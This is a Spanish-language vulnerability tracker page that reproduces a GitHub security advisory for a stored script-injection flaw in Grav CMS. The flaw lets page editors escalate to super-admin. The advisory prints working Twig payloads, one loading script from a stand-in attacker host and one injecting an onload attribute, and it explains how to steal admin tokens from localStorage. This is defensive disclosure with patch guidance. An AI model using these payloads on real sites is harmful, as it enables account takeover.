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Advisory · GitHub · Packagist · getgrav/grav

GHSA-8HGV-XC77-JMCR

Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.0.20
Exposición91 dDesde la divulgación, 21 ago 2026, 2:14 p. m.
Detección87 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Traje la llave inglesa: esto se arregla.Ni fuego ni humo: solo una tarea pendiente.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
21 ago 26
10 sept 26
17 nov 26
21 nov 26
21 ago 26
13 sept 26
6 oct 26
29 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8HGV-XC77-JMCR divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\Common\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `<script src>` / `<link href>` tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.

The save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.

This is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method.

Affected versions

All Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\Common\Assets`. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19.

Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`.

Details

Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page's `process.twig` to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs.

The sink. `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping:

return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...

For any remote asset, `BaseAsset::init()` stores the caller's string verbatim. Two working variants follow:

  1. External script inclusion — `{{ assets.addJs('https://attacker.example/poc.js') }}`
  2. Attribute injection with no attacker-controlled host — `{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.

Timing. `Twig::processSite()` resolves `$page->content()` before rendering the theme template, so the registration lands before the head is emitted.

`javascript:` and `data:` URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.

Impact

Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:

  • Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox="allow-same-origin allow-scripts allow-forms"`, so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.
  • Admin-Next persists the administrator's API access and refresh JWTs in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.
  • An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.

Patches

Fixed in Grav 2.0.20:

  • `addcss`/`addjs` removed from the `Grav\Common\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults.
  • Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.

Operators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`:

twig_sandbox:
  denied_methods:
    - class: Grav\Common\Assets
      methods: 'addcss, addjs'

Credits

Reported by Ahmed Ibrahim (@skeletonsec).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav< 2.0.20
2.0.20
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav
Corregida 2.0.20 — —
Versiones corregidas2.0.20
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr
Otrahttps://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047
Otrahttps://github.com/getgrav/grav
Otrahttps://github.com/getgrav/grav/releases/tag/2.0.20

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